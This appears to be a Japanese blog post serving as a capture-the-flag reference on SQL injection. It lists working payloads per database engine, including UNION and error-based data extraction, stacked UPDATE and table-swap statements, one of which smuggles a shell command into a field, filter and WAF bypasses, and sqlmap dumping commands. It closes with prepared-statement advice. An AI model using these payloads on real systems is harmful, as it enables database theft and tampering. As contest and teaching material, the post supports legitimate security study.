はまやんはまやんはまやん

hamayanhamayan's blog

WebセキュリティにおけるSQLインジェクション問題への傾向と対策

本まとめはセキュリティコンテスト(CTF)で使えるまとめを目指すのが主です。
悪用しないこと。勝手に普通のサーバで試行すると犯罪っぽいです。

SQLインジェクション (SQL Injection, SQLi)

SQLインジェクションとは

CWE-89 SQLインジェクション
SQL文に任意の文字列を入れてSQL文を構築する場合に、適切な入れ方をしないと意図しないSQL文を実行できてしまう。
ググると大量の資料が出てくる。
軽く説明すると、

SELECT * FROM users WHERE pass = '[ユーザー入力部分]'

となっているときに' OR '' = 'と差し込むと、

SELECT * FROM users WHERE pass = '' OR '' = ''

となって、WHERE文が恒真となり、全部の情報を抜き出せちゃうみたいな話。
注意点だが、SQLiが行える場合はDB内の『全ての情報』を抜き出すことが可能である(元々のSQL文はほぼ関係ない)。
かなり危険なので注意してほしい。

DB毎の攻撃まとめ

PostgreSQL

  • ' OR 1=1 --
  • Postgres SQL Injection Cheat Sheet | pentestmonkey
    • ここを見ると抜き出す方法が色々書いてある
  • 色々
    • information_schema系
      • テーブルとカラムを抜く select concat(TABLE_NAME,COLUMN_NAME) from information_schema.columns
      • テーブルだけ抜く select table_name from information_schema.tables
      • テーブルからカラムを抜く select column_name from information_schema.columns where table_name='tablename'
    • どんなテーブルであっても、この名前をカラムに入れると任意の情報が抜ける
    • https://www.postgresql.jp/document/7.3/user/functions-misc.html
  • pg_userでユーザー情報を抜き取れる
    • /?search=%5C%27%20%3B%20select%20usename,%20usename,%20now()%20from%20pg_user%3B%20--%20&limit=60
    • URLに入れるときは' ;%エンコードする。,-'()はしない
    • date型を要求された場合は、now()を入れておけば通ったりする
    • \' union select url, session_user, tweeted_at from tweets --のようにどんな場合でもsession_userとすればログインユーザーが得られるみたい
  • コメント /* comment */が使えたりする。-がNGになっていたら、末尾に/*でコメントできるかも
    • ' union select 'admin', 'pass' /*
  • リテラル表現を変えたいとき
    • 単純に 'ad'||'min''admin'
    • Unicode表現 'test'と書きたい時にU&'\0074\0065\0073\0074'と書ける
    • two dollar signs 'test'と書きたいときに$$test$$と書ける
      • $$a$$||$$d$$||$$m$$||$$i$$||$$n$$このように書くと'admin'と同様
    • LPAD
      • LPAD('n', 5, LPAD('i', 4, LPAD('m', 3, LPAD('d', 2, LPAD('a', 1, '')))))とすると、'admin'と同様
    • 部分文字列を抜き出したいとき
      • '123456'::VARCHAR(3)とすると、'123'となる
    • 実はHEX表現もできる
      • admin0x61646d696eとできる 変換これ&input=YWRtaW4)

MySQL/MariaDB

  • #が使えたらMySQLだし、そうでなければそれ以外(PostgresSQL, SQLite)
  • information_schema
    • information_schema.columnsでカラム情報を抜ける' || (SELECT group_concat(TABLE_NAME) from INFORMATION_SCHEMA.COLUMNS) || '
    • information_schema.processlistには、現在動いているスレッドについての情報が書かれている。
    • quineで使える ' union select substr(info,38,70) from information_schema.processlist%23 ここ
  • UNIONによる結合で情報を抜く
    • UNION SELECT null,flag FROM flagみたいにやるが、カラムが使えないときは、JOINを使うこともある 参考
  • 暗黙の型変換
    • MySQLでは+演算子は数値の和算として評価されるので'a'+'b'は'ab'ではなくて0+0で0と解釈される
    • 数値として正しくない文字列は0として変換されるらしい
    • これでpassword = 0となるが、またしても暗黙の型変換が起こり、passwordは一般に数値変換できないので、0=0と認識されて、全件ヒットする
    • ||演算子論理和として解釈されるので危険らしい
    • パスワードに'=0#を入れると、パスワード比較部分が恒真となったりする
  • UPDATEをインジェクションできたりする
    • 1;UPDATE photos SET filename='* || env > dump.txt' WHERE id = 3;COMMIT;--
    • セミコロンで区切って、それっぽくつなげる。
    • セミコロン後に空白を入れるとダメっぽい?
  • 使用済みペイロード一覧
    • ' OR ''='' #
    • カラム数特定
      • ' UNION SELECT 1 #
      • ' UNION SELECT 1,2 #
    • テーブル情報抜く
      • ' UNION SELECT group_concat(TABLE_NAME), null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT DISTINCT TABLE_NAME, null from INFORMATION_SCHEMA.COLUMNS #
      • ' UNION SELECT group_concat(COLUMN_NAME), null FROM INFORMATION_SCHEMA.COLUMNS WHERE TABLE_NAME = 'Agents' #
    • 普通にデータ抜く
      • ' UNION SELECT group_concat(UA), null FROM Agents #
  • 便利なshow構文というのがある
    • 1';show databases;#みたいに複文にして実行する
    • show databases; DB一覧表示(カラム:Database)
    • show tables; 参照可能なテーブル表示
      • show tables from [dbname];# とあるDBにあるテーブル表示(こっちは使わない方がいいかも)
    • show columns from [tablename]; カラム表示
      • show columns from 1919810931114514; なんか分からんけど`をつけないと動かないときがある
  • テーブルをごっそり入れ替えて情報を抜き取る
    • tableAを参照して表示しているサイトがあり、秘密情報がtableBにあるとする
    • 以下のようにして、テーブルを入れ替えて、秘密情報を抜き取る
      1. rename tables tableA to tableABackup; tableAを別に移す
      2. rename tables tableB to tableA; tableBをtableAにする
      3. alter table table change flag id varchar(100); 正しく参照できるようにカラム名を変える
  • 文字列系
    • 普通は'admin'とすればいいが、シングルクオートが使えない場合はCHAR(0x61,0x64,0x6d,0x69,0x6e)のようにして表現可能
      • char(97,100,109,105,110)でもadmin
    • substrはSUBSTRINGと書いても使えるし、MIDと書いても使える(使い方は全部一緒)
    • 文字列比較は大文字小文字は区別しない
      • id='AdmIn'と書いてもいい。こうすると、ちゃんと取ってはこれるけど、入力は厳密にadminではない状況を作れる
  • 論理演算子
  • MySQL 1093 error
    • クエリステートメント内で同じテーブルを呼び出す場合、エラーを発生させる
    • |Lord of SQL_injection| #29 Phantom :: 보안 한 걸음
    • insert into Users values('username',(select password from Users where username='admin'))は成功しそうだが、失敗する
    • 同じテーブルを呼び出しているので、違うテーブルとしてやればいい
      • エイリアスを付けて回避する
        • UsersテーブルをUsers2テーブルとして別名にしている
        • insert into Users values('username',(select password from Users Users2 where username='admin'))
      • 一時テーブルを作成する
        • insert into Users values('username',(select password from (select password from Users where username='admin')))

SQLite

  • テーブル情報を全て抜き出す
    • SELECT group_concat(sql) FROM sqlite_masterとすると、カンマで結合されて1レコードで出てくる 出典
    • SELECT sql FROM sqlite_masterと書くと全部バラバラに出てくる
  • --で末尾コメントになる
  • 使用済みペイロード
    • 1 OR 1=1
  • ASを使って新しいテーブルを作成する
    • SELECT id,username FROM (select 2 id,enemy username FROM costume where id like 1) WHERE id = 2
    • こういう感じにFROM内部にインジェクションすることで、enemyをぶっこ抜ける
    • SELECT内部はselect 2 as id, enemy as username FROM costume where id like 1と同義
  • SQLiteではシングルクオートのエスケープは\ではなく、''のように表現する
  • 使える関数
    • unicode(c) := mysqlとかのasciiと同じ用途で使える
  • SQLiteではDB情報がファイルとして出力されるので、そのファイルが見られてしまうと情報流出する(適切な権限を付けよう)
    • 仮にユーザー毎にDBファイルを作成していて、db_username.dbというファイルを作成していたとする
    • この時にusernameとして、/を入れることができると、db参照時にエラーが発生して、エラー表示を見ることができたりする
    • すると、dbファイル名の規則性が抜き取れるので、db_admin.dbみたいにしてアクセスして、バイナリエディタで中身を見れば、色々分かる

SQL Server (MS SQL)

  • MSSQL Injection Cheat Sheet | pentestmonkey
    • テーブル一覧
      • SELECT name FROM sysobjects WHERE xtype = 'U';
      • select name from sys.tables
    • カラム一覧
      • select name from sys.columns where object_id=オブジェクトID
        • オブジェクトIDはselect object_id from sys.tables where name = 'テーブル名'で取ってこれる
  • コメントは--
  • エラーを出したいとき
    • Error: [Microsoft][ODBC Driver 17 for SQL Server][SQL Server]Conversion failed when converting the varchar value 'z' to data type int.
      • [LOS] nessie
      • 1=(case when 条件 then 'z' end)とすれば条件がtrueならエラーが出る
  • 関数
    • 長さ取得:len
    • 部分文字列:substring
  • HAVING, GROUP BYトリック
    • [Lord of SQL Injection] LoS - revenant 문제풀이 | mingzzi
    • ここに書いてある。having 1=1を書いておくと、エラーが出る。かつ、エラーが表示されるようになっていると、カラム名が流出する。
    • 1個とってきたら、group by name1 having 1=1としてエラーを出すと2つ目のカラム名が出てくる。
    • カラム名を入れてうまくいかなかったら[カラム名]のようにするとうまくいったりする(よくわからん)
    • エラーが消えたら全部抜き取り成功
  • エラー文から内容を抜き取る方法
    • password=1をwhereの条件に含めると、passwordに文字列が来ると比較に失敗して、中身がエラー文に表示されてしまう
    • 一時カラム名みたいなカラム名の場合は"9604b0c8"=1のようにダブルクオーテーションで指定する
  • スペースが使えないとき
    • これはデータベース識別子 - SQL Server | Microsoft Docsが使える。
    • 本来は予約語をテーブル名とかにした場合に使うものであるが、これを使うとスペースが必要なくなる。
    • select password from Users where username = 'admin'select[password]from[Users]where[username]='admin'
    • 例:select[pw]from[prob_mummy]where[id]='admin'and[pw]like'A%'

細かいテク

  • SQL文のlimitにインジェクションできるとき
    • limitの後ろにunionでテーブルを追加することはできないが、Blind SQL Injectionを仕掛けることはできる
    • → Blind SQL Injection
  • サニタイジング回避テク
    • 1度だけ置換される、ブラックリストが空文字で変換されるとき
      • selselectectのような感じにすると、内部のselectが消えて、無事selectになってくれる
    • ‘union(select(1),tabe_name,(3)frominformation_schema.tables)#
    • フィルタしている場合
      • ユーザ名:パスワードの組で指定する時に、ユーザ名でadmin'--としてしまう 手法出典 問題:picoCTF2019 Irish-Name-Repo 2
  • 空白の代わりに
    • Space2Comment
      • /**/を使うと空白として扱われれる
      • RITSEC CTF 2018 Space Force 「'=''or'」、「'//union//select//*//from/**/spaceships#」、「'=''#」
      • "union(select/**/table_name/**/frominformation_schema.tables)#
    • 特殊文字をスペース代わりに使える
      • 垂直タブ(%0b)\v
      • Form Feed、改ページ(%0C)
      • \n\r\tも使える
  • limitテク
    • limit 1とすると先頭1つになるが、limit 1,1とすると先頭2つ目、limit 2,1とすると先頭3つ目。
  • コメントは--#の後に空白を入れないと動かなかったりする
  • バージョンとかを抜き出すには
    • union select @@version; --
  • substr
    • SUBSTR(string,position,length)
      • positionは1-indexed
    • 9' union select substr(info, 39, 7) from books where id=1; --
  • Quine SQL query
  • unionが使えないとき
    • blind SQLiするしかない?
  • selectがつかないとき
    • 基本抜き取れない
    • MySQLのテーブルをごっそり入れ替えて情報を抜き取る」にあるようなヤバい奴をやる
  • 論理演算子について
    • ANDの方が優先度が高い
      • A=B AND C='[user]'に対して、A=B AND C='' OR D=E AND F='G'となるようインジェクションする
      • 前半のANDはfalseなので実質後半のD=E AND F='G'の評価と等価となる
  • PHP
  • 文字列系
  • IN構文
    • WHERE user IN("A","B","C")と書くと、userがA,B,Cのいずれかのものが取ってこられる
    • user = 'A'と書くところをuser IN("A")と書ける
  • like構文
    • %を使うと0文字以上のエイリアスとなる。
    • _を使うと任意の1文字のエイリアスとなる。なので、_ __ ___のように増やしていって、文字数を特定するのに使える
  • 末尾のいらない部分について
    • コメントで消す
    • ;%00で消す(ヌルバイト攻撃)
  • 改行ありのSQLについて
    • 例えばselect * from Users where id = 'admin' # [injection]という元のSQL文があるとき、
      • 改行文字である%0aを先頭に入れることで改行されて、コメントの影響を消すことができる
  • INSERT
    • INSERT文は複数挿入可能
      • insert into Users values('username','pass')となってて、passに'), ('evil', 'magicとすれば不正にもう1つ挿入することができる
  • 適当にsleepしたいとき union select sleep(1)をつける
  • WAF bypass
  • スペースと長さの上限を上手く使うテク
    • id char(10)としてテーブル定義されてるときにidにadmin 1を与えたとする
      • こうすると、idが存在するかの検索ではid = 'admin 1'で検索されて、idが存在しないとなるが、
      • updateの歳にはスペースは前後のスペースは無視されるので、adminに対して更新がかかる(ほんとか?検索時にスペースが無視されるだけかも)

SQL Injection問題 CTF

Practicalな話

実装時に気を付けること

  • ユーザーの入力がSQLに極力入らないようにする
  • SQLを組み立てるときは、プリペアードステートメントを使えば確実(というか絶対使おう)
  • あと、delete文の作成時は削除個数を指定すると、事故が減るとか見たことがある気がする

(CTFじゃ使えないけど)テストツール

sqlmapが有名。 sqlmapでSQLインジェクションの検証 - Qiita

GETのとき
$ docker run --rm -it -v d:\tmp:/root/.sqlmap/ paoloo/sqlmap --url "http://web.ctf.b01lers.com:1001/query?search=olympus_mons%20"
POSTのとき
$ docker run --rm -it -v d:\tmp:/root/.sqlmap/ paoloo/sqlmap --url "http://34.74.105.127/f754dab811/login" --data "username=a&password='"

これの末尾にいろいろ追加して情報を抜き取る
- `--dbs` DB一覧が得られる
- `-D [DB名] --tables` 指定DBのテーブル一覧が見られる
- `-D [DB名] -T [テーブル名] --columns`で指定テーブルのカラム一覧が見られる
- `-D [DB名] -T [テーブル名] -C [カラム名、カンマ区切りにより複数指定] --dump`で指定カラムのデータが見られる

$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET --dbs -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B
$ sqlmap --url "http://35.227.24.107/9f48591542/fetch?id=1" --method GET -p id --code 200 --skip-waf --random-agent --threads 10 -o --technique B -D level5 --tables

memo